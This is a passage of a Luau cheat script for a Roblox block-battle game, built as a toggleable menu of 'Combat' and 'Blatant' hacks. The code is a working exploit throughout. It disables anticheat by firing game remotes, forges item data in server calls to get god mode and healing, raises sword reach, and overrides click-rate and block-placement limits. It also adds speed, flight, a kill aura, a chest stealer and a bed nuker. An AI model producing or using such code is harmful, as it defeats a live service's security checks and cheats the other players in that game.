  2403. end)
  2404.  
  2405. repeat task.wait(1) until GetMatchState() == 2
  2406.  
  2407. if Settings.PlayAgain.Value == true then
  2408. PlayAgainRemote.joinQueue:FireServer({["queueType"] = GetQueueType()})
  2409. end
  2410. end)
  2411.  
  2412. task.spawn(function()
  2413. RunService.Heartbeat:Connect(function(Delta)
  2414. if Settings.Speed.Value == true and IsAlive(LocalPlayer) then
  2415. local SpeedValue = GetSpeed()
  2416.  
  2417. local SpeedRaycastParameters = RaycastParams.new()
  2418.  
  2419. SpeedRaycastParameters.FilterDescendantsInstances = {LocalPlayer.Character}
  2420.  
  2421. local SpeedCFrame = LocalPlayer.Character.Humanoid.MoveDirection * SpeedValue * Delta
  2422.  
  2423. local Raycast = WorkSpace:Raycast(LocalPlayer.Character.PrimaryPart.Position, SpeedCFrame, SpeedRaycastParameters)
  2424.  
  2425. if not Raycast then
  2426. LocalPlayer.Character.PrimaryPart.CFrame = LocalPlayer.Character.PrimaryPart.CFrame + SpeedCFrame
  2427. end
  2428. end
  2429. end)
  2430. end)
  2431.  
  2432. task.spawn(function()
  2433. repeat
  2434. task.wait(0.1)
  2435.  
  2436. task.spawn(function()
  2437. if Settings.Nuker.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2438. local NearestBed = FindNearestBed(Settings.Nuker.Range) or nil
  2439. local NearestOre = FindNearestOre(Settings.Nuker.Range) or nil
  2440.  
  2441. if NearestBed or NearestOre then
  2442. Nuker(NearestBed, NearestOre)
  2443. end
  2444. end
  2445. end)
  2446.  
  2447. task.spawn(function()
  2448. local HipHeight = 1.99999
  2449.  
  2450. if Settings.AcDisabler.Value == true and IsAlive(LocalPlayer) then
  2451. local Elk = LocalPlayer.Character:FindFirstChild("elk")
  2452.  
  2453. LocalPlayer.Character.Humanoid.HipHeight = HipHeight
  2454. AnticheatDisabled = true
  2455.  
  2456. if Elk and Elk:FindFirstChild("body_mesh") then
  2457. Elk:FindFirstChild("body_mesh"):Destroy()
  2458. Elk.PrimaryPart:Destroy()
  2459. end
  2460.  
  2461. task.spawn(function()
  2462. local Args = {
  2463. [1] = "elk_summon"
  2464. }
  2465.  
  2466. ElkSummonRemote:FireServer(unpack(Args))
  2467. end)
  2468.  
  2469. task.spawn(function()
  2470. BlossomWindTunnelCreateBodyForceRemote:FireServer()
  2471. end)
  2472. end
  2473.  
  2474. if Settings.AcDisabler.Value == false or not IsAlive(LocalPlayer) or not LocalPlayer.Character:FindFirstChild("elk") then
  2475. AnticheatDisabled = false
  2476. end
  2477. end)
  2478.  
  2479. task.spawn(function()
  2480. if IsAlive(LocalPlayer) then
  2481. task.spawn(function()
  2482. LocalPlayer.Character.ChildAdded:Connect(function(Part)
  2483. if Part.Name:lower() == "bubble" then
  2484. Part.Transparency = 1
  2485. end
  2486. end)
  2487. end)
  2488.  
  2489. if Settings.GodMode.Value == true then
  2490. task.spawn(function()
  2491. WandBubbleProtectionRemote:InvokeServer({
  2492. ["targetPlayerUserId"] = LocalPlayer.UserId,
  2493. ["handItem"] = {
  2494. ["itemSkin"] = "",
  2495. ["itemType"] = "villain_protector_wand",
  2496. ["amount"] = 9999,
  2497. ["addedToBackpackTime"] = 0,
  2498. ["tool"] = ReplicatedStorage.Items.villain_protector_wand,
  2499. },
  2500. })
  2501. end)
  2502.  
  2503. task.spawn(function()
  2504. if LocalPlayer.Character:GetAttribute("Health") < 95 then
  2505. WandHealPlayerRemote:InvokeServer({
  2506. ["targetPlayerUserId"] = LocalPlayer.UserId,
  2507. ["handItem"] = {
  2508. ["itemSkin"] = "",
  2509. ["itemType"] = "villain_protector_wand",
  2510. ["amount"] = 9999,
  2511. ["addedToBackpackTime"] = 0,
  2512. ["tool"] = ReplicatedStorage.Items.villain_protector_wand,
  2513. },
  2514. })
  2515. end
  2516. end)
  2517. end
  2518. end
  2519. end)
  2520. until not game
  2521. end)
  2522.  
  2523. task.spawn(function()
  2524. repeat task.wait() until GetMatchState() ~= 0
  2525.  
  2526. if KnitGotten == true then
  2527. local ZephyrUpdate = ZephyrController.updateJump
  2528.  
  2529. ZephyrController.updateJump = function(self, orb, ...)
  2530. if IsAlive(LocalPlayer) and orb then
  2531. ZephyrOrb = 1
  2532. end
  2533.  
  2534. if not IsAlive(LocalPlayer) or not orb then
  2535. ZephyrOrb = 0
  2536. end
  2537.  
  2538. return ZephyrUpdate(self, orb, ...)
  2539. end
  2540. end
  2541. end)
  2542.  
  2543. task.spawn(function()
  2544. repeat
  2545. task.wait(0.01)
  2546.  
  2547. if IsAlive(LocalPlayer) and IsMoving() and LocalPlayer.Character:FindFirstChild("Cape") and LocalPlayer.Character:FindFirstChild("Cape"):FindFirstChild("Motor") then
  2548. local TweenInformation = TweenInfo.new(0.15, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
  2549. local CapeTween = TweenService:Create(LocalPlayer.Character.Cape.Motor, TweenInformation, {CurrentAngle = -0.6})
  2550.  
  2551. CapeTween:Play()
  2552. end
  2553.  
  2554. if IsAlive(LocalPlayer) and not IsMoving() and LocalPlayer.Character:FindFirstChild("Cape") and LocalPlayer.Character:FindFirstChild("Cape"):FindFirstChild("Motor") then
  2555. local TweenInformation = TweenInfo.new(0.15, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
  2556. local CapeTween = TweenService:Create(LocalPlayer.Character.Cape.Motor, TweenInformation, {CurrentAngle = -0.2})
  2557.  
  2558. CapeTween:Play()
  2559. end
  2560. until not game
  2561. end)
  2562.  
  2563. task.spawn(function()
  2564. UserInputService.InputBegan:Connect(function(Input)
  2565. if Input.KeyCode == Enum.KeyCode.Space and not UserInputService:GetFocusedTextBox() then
  2566. FlyUp = true
  2567. end
  2568.  
  2569. if Input.KeyCode == Enum.KeyCode.LeftShift and not UserInputService:GetFocusedTextBox() then
  2570. FlyDown = true
  2571. end
  2572. end)
  2573.  
  2574. UserInputService.InputEnded:Connect(function(Input)
  2575. if Input.KeyCode == Enum.KeyCode.Space and not UserInputService:GetFocusedTextBox() then
  2576. FlyUp = false
  2577. end
  2578.  
  2579. if Input.KeyCode == Enum.KeyCode.LeftShift and not UserInputService:GetFocusedTextBox() then
  2580. FlyDown = false
  2581. end
  2582. end)
  2583. end)
  2584.  
  2585. local CombatTab = CreateTab("Combat")
  2586. local BlatantTab = CreateTab("Blatant")
  2587. local UtilityTab = CreateTab("Utility")
  2588. local WorldTab = CreateTab("World")
  2589.  
  2590. task.spawn(function()
  2591. local NoKnockBack, DropDownButton, LayoutOrder, UIGradient = CreateToggle(CombatTab, "NoKnockBack", Settings.NoKnockBack.Value, function(CallBack)
  2592. Settings.NoKnockBack.Value = CallBack
  2593.  
  2594. local OldKnockBackDirection = KnockBackTable.kbDirectionStrength
  2595. local OldKnockBackUp = KnockBackTable.kbUpwardStrength
  2596.  
  2597. if Settings.NoKnockBack.Value == true then
  2598. KnockBackTable.kbDirectionStrength = 0
  2599. KnockBackTable.kbUpwardStrength = 0
  2600. end
  2601.  
  2602. if Settings.NoKnockBack.Value == false then
  2603. KnockBackTable.kbDirectionStrength = OldKnockBackDirection
  2604. KnockBackTable.kbUpwardStrength = OldKnockBackUp
  2605. end
  2606. end)
  2607.  
  2608. task.spawn(function()
  2609. local InstanceUI
  2610. local Value = false
  2611.  
  2612. DropDownButton.Activated:Connect(function()
  2613. Value = not Value
  2614.  
  2615. if Value == true then
  2616. InstanceUI = CreateKeyBind(CombatTab, Settings.NoKnockBack.KeyBind, LayoutOrder + 1, function(CallBack)
  2617. Settings.NoKnockBack.KeyBind = CallBack
  2618. end)
  2619. end
  2620.  
  2621. if Value == false then
  2622. InstanceUI:Destroy()
  2623. end
  2624. end)
  2625. end)
  2626.  
  2627. task.spawn(function()
  2628. UserInputService.InputBegan:Connect(function(Input)
  2629. if not UserInputService:GetFocusedTextBox() then
  2630. if Input.KeyCode.Name == Settings.NoKnockBack.KeyBind then
  2631. Settings.NoKnockBack.Value = not Settings.NoKnockBack.Value
  2632.  
  2633. if Settings.NoKnockBack.Value == true then
  2634. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  2635. end
  2636.  
  2637. if Settings.NoKnockBack.Value == false then
  2638. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  2639. end
  2640. end
  2641. end
  2642. end)
  2643. end)
  2644. end)
  2645.  
  2646. task.spawn(function()
  2647. local AutoClicker, DropDownButton, LayoutOrder, UIGradient = CreateToggle(CombatTab, "AutoClicker", Settings.AutoClicker.Value, function(CallBack)
  2648. Settings.AutoClicker.Value = CallBack
  2649.  
  2650. local OldCpsFunction = nil
  2651.  
  2652. if Settings.AutoClicker.Value == true and KnitGotten == true then
  2653. SwordController.isClickingTooFast = function(self)
  2654. self.lastSwing = tick()
  2655.  
  2656. return false
  2657. end
  2658. end
  2659.  
  2660. if Settings.AutoClicker.Value == false and KnitGotten == true then
  2661. SwordController.isClickingTooFast = OldCpsFunction
  2662. end
  2663. end)
  2664.  
  2665. task.spawn(function()
  2666. local InstanceUI
  2667. local Value = false
  2668.  
  2669. DropDownButton.Activated:Connect(function()
  2670. Value = not Value
  2671.  
  2672. if Value == true then
  2673. InstanceUI = CreateKeyBind(CombatTab, Settings.AutoClicker.KeyBind, LayoutOrder + 1, function(CallBack)
  2674. Settings.AutoClicker.KeyBind = CallBack
  2675. end)
  2676. end
  2677.  
  2678. if Value == false then
  2679. InstanceUI:Destroy()
  2680. end
  2681. end)
  2682. end)
  2683.  
  2684. task.spawn(function()
  2685. UserInputService.InputBegan:Connect(function(Input)
  2686. if not UserInputService:GetFocusedTextBox() then
  2687. if Input.KeyCode.Name == Settings.AutoClicker.KeyBind then
  2688. Settings.AutoClicker.Value = not Settings.AutoClicker.Value
  2689.  
  2690. if Settings.AutoClicker.Value == true then
  2691. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  2692. end
  2693.  
  2694. if Settings.AutoClicker.Value == false then
  2695. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  2696. end
  2697. end
  2698. end
  2699. end)
  2700. end)
  2701.  
  2702. task.spawn(function()
  2703. local InstanceUI
  2704. local Value = false
  2705.  
  2706. DropDownButton.Activated:Connect(function()
  2707. Value = not Value
  2708.  
  2709. if Value == true then
  2710. InstanceUI = CreateSlider(CombatTab, "Cps", Settings.AutoClicker.Cps, 30, LayoutOrder + 2, function(CallBack)
  2711. Settings.AutoClicker.Cps = CallBack
  2712. end)
  2713. end
  2714.  
  2715. if Value == false then
  2716. InstanceUI:Destroy()
  2717. end
  2718. end)
  2719. end)
  2720. end)
  2721.  
  2722. task.spawn(function()
  2723. local AimAssist, DropDownButton, LayoutOrder, UIGradient = CreateToggle(CombatTab, "AimAssist", Settings.AimAssist.Value, function(CallBack)
  2724. Settings.AimAssist.Value = CallBack
  2725. end)
  2726.  
  2727. task.spawn(function()
  2728. local InstanceUI
  2729. local Value = false
  2730.  
  2731. DropDownButton.Activated:Connect(function()
  2732. Value = not Value
  2733.  
  2734. if Value == true then
  2735. InstanceUI = CreateKeyBind(CombatTab, Settings.AimAssist.KeyBind, LayoutOrder + 1, function(CallBack)
  2736. Settings.AimAssist.KeyBind = CallBack
  2737. end)
  2738. end
  2739.  
  2740. if Value == false then
  2741. InstanceUI:Destroy()
  2742. end
  2743. end)
  2744. end)
  2745.  
  2746. task.spawn(function()
  2747. UserInputService.InputBegan:Connect(function(Input)
  2748. if not UserInputService:GetFocusedTextBox() then
  2749. if Input.KeyCode.Name == Settings.AimAssist.KeyBind then
  2750. Settings.AimAssist.Value = not Settings.AimAssist.Value
  2751.  
  2752. if Settings.AimAssist.Value == true then
  2753. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  2754. end
  2755.  
  2756. if Settings.AimAssist.Value == false then
  2757. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  2758. end
  2759. end
  2760. end
  2761. end)
  2762. end)
  2763.  
  2764. task.spawn(function()
  2765. local InstanceUI
  2766. local Value = false
  2767.  
  2768. DropDownButton.Activated:Connect(function()
  2769. Value = not Value
  2770.  
  2771. if Value == true then
  2772. InstanceUI = CreateSlider(CombatTab, "Range", Settings.AimAssist.Range, 18, LayoutOrder + 1, function(CallBack)
  2773. Settings.AimAssist.Range = CallBack
  2774. end)
  2775. end
  2776.  
  2777. if Value == false then
  2778. InstanceUI:Destroy()
  2779. end
  2780. end)
  2781. end)
  2782. end)
  2783.  
  2784. task.spawn(function()
  2785. local KillAura, DropDownButton, LayoutOrder, UIGradient = CreateToggle(CombatTab, "KillAura", Settings.KillAura.Value, function(CallBack)
  2786. Settings.KillAura.Value = CallBack
  2787. end)
  2788.  
  2789. task.spawn(function()
  2790. local InstanceUI
  2791. local Value = false
  2792.  
  2793. DropDownButton.Activated:Connect(function()
  2794. Value = not Value
  2795.  
  2796. if Value == true then
  2797. InstanceUI = CreateKeyBind(CombatTab, Settings.KillAura.KeyBind, LayoutOrder + 1, function(CallBack)
  2798. Settings.KillAura.KeyBind = CallBack
  2799. end)
  2800. end
  2801.  
  2802. if Value == false then
  2803. InstanceUI:Destroy()
  2804. end
  2805. end)
  2806. end)
  2807.  
  2808. task.spawn(function()
  2809. UserInputService.InputBegan:Connect(function(Input)
  2810. if not UserInputService:GetFocusedTextBox() then
  2811. if Input.KeyCode.Name == Settings.KillAura.KeyBind then
  2812. Settings.KillAura.Value = not Settings.KillAura.Value
  2813.  
  2814. if Settings.KillAura.Value == true then
  2815. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  2816. end
  2817.  
  2818. if Settings.KillAura.Value == false then
  2819. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  2820. end
  2821. end
  2822. end
  2823. end)
  2824. end)
  2825.  
  2826. task.spawn(function()
  2827. local InstanceUI
  2828. local Value = false
  2829.  
  2830. DropDownButton.Activated:Connect(function()
  2831. Value = not Value
  2832.  
  2833. if Value == true then
  2834. InstanceUI = CreateMiniToggle(CombatTab, "CustomAnimation", Settings.KillAura.CustomAnimation, LayoutOrder + 2, function(CallBack)
  2835. Settings.KillAura.CustomAnimation = CallBack
  2836. end)
  2837. end
  2838.  
  2839. if Value == false then
  2840. InstanceUI:Destroy()
  2841. end
  2842. end)
  2843. end)
  2844.  
  2845. task.spawn(function()
  2846. local InstanceUI
  2847. local Value = false
  2848.  
  2849. DropDownButton.Activated:Connect(function()
  2850. Value = not Value
  2851.  
  2852. if Value == true then
  2853. InstanceUI = CreateMiniToggle(CombatTab, "ToolCheck", Settings.KillAura.ToolCheck, LayoutOrder + 3, function(CallBack)
  2854. Settings.KillAura.ToolCheck = CallBack
  2855. end)
  2856. end
  2857.  
  2858. if Value == false then
  2859. InstanceUI:Destroy()
  2860. end
  2861. end)
  2862. end)
  2863.  
  2864. task.spawn(function()
  2865. local InstanceUI
  2866. local Value = false
  2867.  
  2868. DropDownButton.Activated:Connect(function()
  2869. Value = not Value
  2870.  
  2871. if Value == true then
  2872. InstanceUI = CreateMiniToggle(CombatTab, "Strafe", Settings.KillAura.Strafe, LayoutOrder + 4, function(CallBack)
  2873. Settings.KillAura.Strafe = CallBack
  2874. end)
  2875. end
  2876.  
  2877. if Value == false then
  2878. InstanceUI:Destroy()
  2879. end
  2880. end)
  2881. end)
  2882.  
  2883. task.spawn(function()
  2884. local InstanceUI
  2885. local Value = false
  2886.  
  2887. DropDownButton.Activated:Connect(function()
  2888. Value = not Value
  2889.  
  2890. if Value == true then
  2891. InstanceUI = CreateSlider(CombatTab, "Range", Settings.KillAura.Range, 20, LayoutOrder + 5, function(CallBack)
  2892. Settings.KillAura.Range = CallBack
  2893. end)
  2894. end
  2895.  
  2896. if Value == false then
  2897. InstanceUI:Destroy()
  2898. end
  2899. end)
  2900. end)
  2901. end)
  2902.  
  2903. task.spawn(function()
  2904. local Reach, DropDownButton, LayoutOrder, UIGradient = CreateToggle(CombatTab, "Reach", Settings.Reach.Value, function(CallBack)
  2905. Settings.Reach.Value = CallBack
  2906.  
  2907. local OldReach = CombatConstant.RAYCAST_SWORD_CHARACTER_DISTANCE
  2908.  
  2909. if Settings.Reach.Value == true then
  2910. CombatConstant.RAYCAST_SWORD_CHARACTER_DISTANCE = 20
  2911. end
  2912.  
  2913. if Settings.Reach.Value == false then
  2914. CombatConstant.RAYCAST_SWORD_CHARACTER_DISTANCE = OldReach
  2915. end
  2916. end)
  2917.  
  2918. task.spawn(function()
  2919. local InstanceUI
  2920. local Value = false
  2921.  
  2922. DropDownButton.Activated:Connect(function()
  2923. Value = not Value
  2924.  
  2925. if Value == true then
  2926. InstanceUI = CreateKeyBind(CombatTab, Settings.Reach.KeyBind, LayoutOrder + 1, function(CallBack)
  2927. Settings.Reach.KeyBind = CallBack
  2928. end)
  2929. end
  2930.  
  2931. if Value == false then
  2932. InstanceUI:Destroy()
  2933. end
  2934. end)
  2935. end)
  2936.  
  2937. task.spawn(function()
  2938. UserInputService.InputBegan:Connect(function(Input)
  2939. if not UserInputService:GetFocusedTextBox() then
  2940. if Input.KeyCode.Name == Settings.Reach.KeyBind then
  2941. Settings.Reach.Value = not Settings.Reach.Value
  2942.  
  2943. if Settings.Reach.Value == true then
  2944. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  2945. end
  2946.  
  2947. if Settings.Reach.Value == false then
  2948. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  2949. end
  2950. end
  2951. end
  2952. end)
  2953. end)
  2954. end)
  2955.  
  2956. task.spawn(function()
  2957. local Sprint, DropDownButton, LayoutOrder, UIGradient = CreateToggle(CombatTab, "Sprint", Settings.Sprint.Value, function(CallBack)
  2958. Settings.Sprint.Value = CallBack
  2959.  
  2960. local OldSprintFunction
  2961.  
  2962. if Settings.Sprint.Value == true and KnitGotten == true then
  2963. OldSprintFunction = SprintController.stopSprinting
  2964.  
  2965. SprintController.stopSprinting = function(...)
  2966. local Function = OldSprintFunction(...)
  2967.  
  2968. SprintController:startSprinting()
  2969. return Function
  2970. end
  2971.  
  2972. task.spawn(function()
  2973. SprintController:startSprinting()
  2974. end)
  2975.  
  2976. LocalPlayer.CharacterAdded:Connect(function()
  2977. SprintController:stopSprinting()
  2978. end)
  2979. end
  2980.  
  2981. if Settings.Sprint.Value == false and KnitGotten == true then
  2982. SprintController.stopSprinting = OldSprintFunction
  2983. SprintController:stopSprinting()
  2984. end
  2985. end)
  2986.  
  2987. task.spawn(function()
  2988. local InstanceUI
  2989. local Value = false
  2990.  
  2991. DropDownButton.Activated:Connect(function()
  2992. Value = not Value
  2993.  
  2994. if Value == true then
  2995. InstanceUI = CreateKeyBind(CombatTab, Settings.Sprint.KeyBind, LayoutOrder + 1, function(CallBack)
  2996. Settings.Sprint.KeyBind = CallBack
  2997. end)
  2998. end
  2999.  
  3000. if Value == false then
  3001. InstanceUI:Destroy()
  3002. end
  3003. end)
  3004. end)
  3005.  
  3006. task.spawn(function()
  3007. UserInputService.InputBegan:Connect(function(Input)
  3008. if not UserInputService:GetFocusedTextBox() then
  3009. if Input.KeyCode.Name == Settings.Sprint.KeyBind then
  3010. Settings.Sprint.Value = not Settings.Sprint.Value
  3011.  
  3012. if Settings.Sprint.Value == true then
  3013. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3014. end
  3015.  
  3016. if Settings.Sprint.Value == false then
  3017. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3018. end
  3019. end
  3020. end
  3021. end)
  3022. end)
  3023. end)
  3024.  
  3025. task.spawn(function()
  3026. local NoPlacementCps, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "NoPlacementCps", Settings.NoPlacementCps.Value, function(CallBack)
  3027. Settings.NoPlacementCps.Value = CallBack
  3028.  
  3029. local OldCps = nil
  3030.  
  3031. if Settings.NoPlacementCps.Value == true then
  3032. OldCps = PlacementCPS.BLOCK_PLACE_CPS
  3033.  
  3034. PlacementCPS.BLOCK_PLACE_CPS = math.huge
  3035. end
  3036.  
  3037. if Settings.NoPlacementCps.Value == false then
  3038. PlacementCPS.BLOCK_PLACE_CPS = OldCps
  3039. end
  3040. end)
  3041.  
  3042. task.spawn(function()
  3043. local InstanceUI
  3044. local Value = false
  3045.  
  3046. DropDownButton.Activated:Connect(function()
  3047. Value = not Value
  3048.  
  3049. if Value == true then
  3050. InstanceUI = CreateKeyBind(BlatantTab, Settings.NoPlacementCps.KeyBind, LayoutOrder + 1, function(CallBack)
  3051. Settings.NoPlacementCps.KeyBind = CallBack
  3052. end)
  3053. end
  3054.  
  3055. if Value == false then
  3056. InstanceUI:Destroy()
  3057. end
  3058. end)
  3059. end)
  3060.  
  3061. task.spawn(function()
  3062. UserInputService.InputBegan:Connect(function(Input)
  3063. if not UserInputService:GetFocusedTextBox() then
  3064. if Input.KeyCode.Name == Settings.NoPlacementCps.KeyBind then
  3065. Settings.NoPlacementCps.Value = not Settings.NoPlacementCps.Value
  3066.  
  3067. if Settings.NoPlacementCps.Value == true then
  3068. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3069. end
  3070.  
  3071. if Settings.NoPlacementCps.Value == false then
  3072. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3073. end
  3074. end
  3075. end
  3076. end)
  3077. end)
  3078. end)
  3079.  
  3080. task.spawn(function()
  3081. local ChestStealer, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "ChestStealer", Settings.ChestStealer.Value, function(CallBack)
  3082. Settings.ChestStealer.Value = CallBack
  3083. end)
  3084.  
  3085. task.spawn(function()
  3086. local InstanceUI
  3087. local Value = false
  3088.  
  3089. DropDownButton.Activated:Connect(function()
  3090. Value = not Value
  3091.  
  3092. if Value == true then
  3093. InstanceUI = CreateKeyBind(BlatantTab, Settings.ChestStealer.KeyBind, LayoutOrder + 1, function(CallBack)
  3094. Settings.ChestStealer.KeyBind = CallBack
  3095. end)
  3096. end
  3097.  
  3098. if Value == false then
  3099. InstanceUI:Destroy()
  3100. end
  3101. end)
  3102. end)
  3103.  
  3104. task.spawn(function()
  3105. UserInputService.InputBegan:Connect(function(Input)
  3106. if not UserInputService:GetFocusedTextBox() then
  3107. if Input.KeyCode.Name == Settings.ChestStealer.KeyBind then
  3108. Settings.ChestStealer.Value = not Settings.ChestStealer.Value
  3109.  
  3110. if Settings.ChestStealer.Value == true then
  3111. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3112. end
  3113.  
  3114. if Settings.ChestStealer.Value == false then
  3115. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3116. end
  3117. end
  3118. end
  3119. end)
  3120. end)
  3121.  
  3122. task.spawn(function()
  3123. local InstanceUI
  3124. local Value = false
  3125.  
  3126. DropDownButton.Activated:Connect(function()
  3127. Value = not Value
  3128.  
  3129. if Value == true then
  3130. InstanceUI = CreateSlider(BlatantTab, "Range", Settings.ChestStealer.Range, 30, LayoutOrder + 2, function(CallBack)
  3131. Settings.ChestStealer.Range = CallBack
  3132. end)
  3133. end
  3134.  
  3135. if Value == false then
  3136. InstanceUI:Destroy()
  3137. end
  3138. end)
  3139. end)
  3140. end)
  3141.  
  3142. task.spawn(function()
  3143. local InfiniteJump, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "InfiniteJump", Settings.InfiniteJump.Value, function(CallBack)
  3144. Settings.InfiniteJump.Value = CallBack
  3145.  
  3146. task.spawn(function()
  3147. UserInputService.JumpRequest:Connect(function()
  3148. if IsAlive(LocalPlayer) and Settings.InfiniteJump.Value == true then
  3149. LocalPlayer.Character.Humanoid:ChangeState("Jumping")
  3150. end
  3151. end)
  3152. end)
  3153. end)
  3154.  
  3155. task.spawn(function()
  3156. local InstanceUI
  3157. local Value = false
  3158.  
  3159. DropDownButton.Activated:Connect(function()
  3160. Value = not Value
  3161.  
  3162. if Value == true then
  3163. InstanceUI = CreateKeyBind(BlatantTab, Settings.InfiniteJump.KeyBind, LayoutOrder + 1, function(CallBack)
  3164. Settings.InfiniteJump.KeyBind = CallBack
  3165. end)
  3166. end
  3167.  
  3168. if Value == false then
  3169. InstanceUI:Destroy()
  3170. end
  3171. end)
  3172. end)
  3173.  
  3174. task.spawn(function()
  3175. UserInputService.InputBegan:Connect(function(Input)
  3176. if not UserInputService:GetFocusedTextBox() then
  3177. if Input.KeyCode.Name == Settings.InfiniteJump.KeyBind then
  3178. Settings.InfiniteJump.Value = not Settings.InfiniteJump.Value
  3179.  
  3180. if Settings.InfiniteJump.Value == true then
  3181. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3182. end
  3183.  
  3184. if Settings.InfiniteJump.Value == false then
  3185. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3186. end
  3187. end
  3188. end
  3189. end)
  3190. end)
  3191. end)
  3192.  
  3193. task.spawn(function()
  3194. local AcDisabler, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "AcDisabler", Settings.AcDisabler.Value, function(CallBack)
  3195. Settings.AcDisabler.Value = CallBack
  3196. end)
  3197.  
  3198. task.spawn(function()
  3199. local InstanceUI
  3200. local Value = false
  3201.  
  3202. DropDownButton.Activated:Connect(function()
  3203. Value = not Value
  3204.  
  3205. if Value == true then
  3206. InstanceUI = CreateKeyBind(BlatantTab, Settings.AcDisabler.KeyBind, LayoutOrder + 1, function(CallBack)
  3207. Settings.AcDisabler.KeyBind = CallBack
  3208. end)
  3209. end
  3210.  
  3211. if Value == false then
  3212. InstanceUI:Destroy()
  3213. end
  3214. end)
  3215. end)
  3216.  
  3217. task.spawn(function()
  3218. UserInputService.InputBegan:Connect(function(Input)
  3219. if not UserInputService:GetFocusedTextBox() then
  3220. if Input.KeyCode.Name == Settings.AcDisabler.KeyBind then
  3221. Settings.AcDisabler.Value = not Settings.AcDisabler.Value
  3222.  
  3223. if Settings.AcDisabler.Value == true then
  3224. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3225. end
  3226.  
  3227. if Settings.AcDisabler.Value == false then
  3228. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3229. end
  3230. end
  3231. end
  3232. end)
  3233. end)
  3234. end)
  3235.  
  3236. task.spawn(function()
  3237. local InfiniteFly, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "InfiniteFly", Settings.InfiniteFly.Value, function(CallBack)
  3238. Settings.InfiniteFly.Value = CallBack
  3239.  
  3240. task.spawn(function()
  3241. if Settings.InfiniteFly.Value == true and InfiniteFlyValue == false then
  3242. InfiniteFlyValue = true
  3243. InfFly()
  3244. end
  3245.  
  3246. if Settings.InfiniteFly.Value == false and InfiniteFlyValue == true then
  3247. InfiniteFlyValue = false
  3248. end
  3249. end)
  3250. end)
  3251.  
  3252. task.spawn(function()
  3253. local InstanceUI
  3254. local Value = false
  3255.  
  3256. DropDownButton.Activated:Connect(function()
  3257. Value = not Value
  3258.  
  3259. if Value == true then
  3260. InstanceUI = CreateKeyBind(BlatantTab, Settings.InfiniteFly.KeyBind, LayoutOrder + 1, function(CallBack)
  3261. Settings.InfiniteFly.KeyBind = CallBack
  3262. end)
  3263. end
  3264.  
  3265. if Value == false then
  3266. InstanceUI:Destroy()
  3267. end
  3268. end)
  3269. end)
  3270.  
  3271. task.spawn(function()
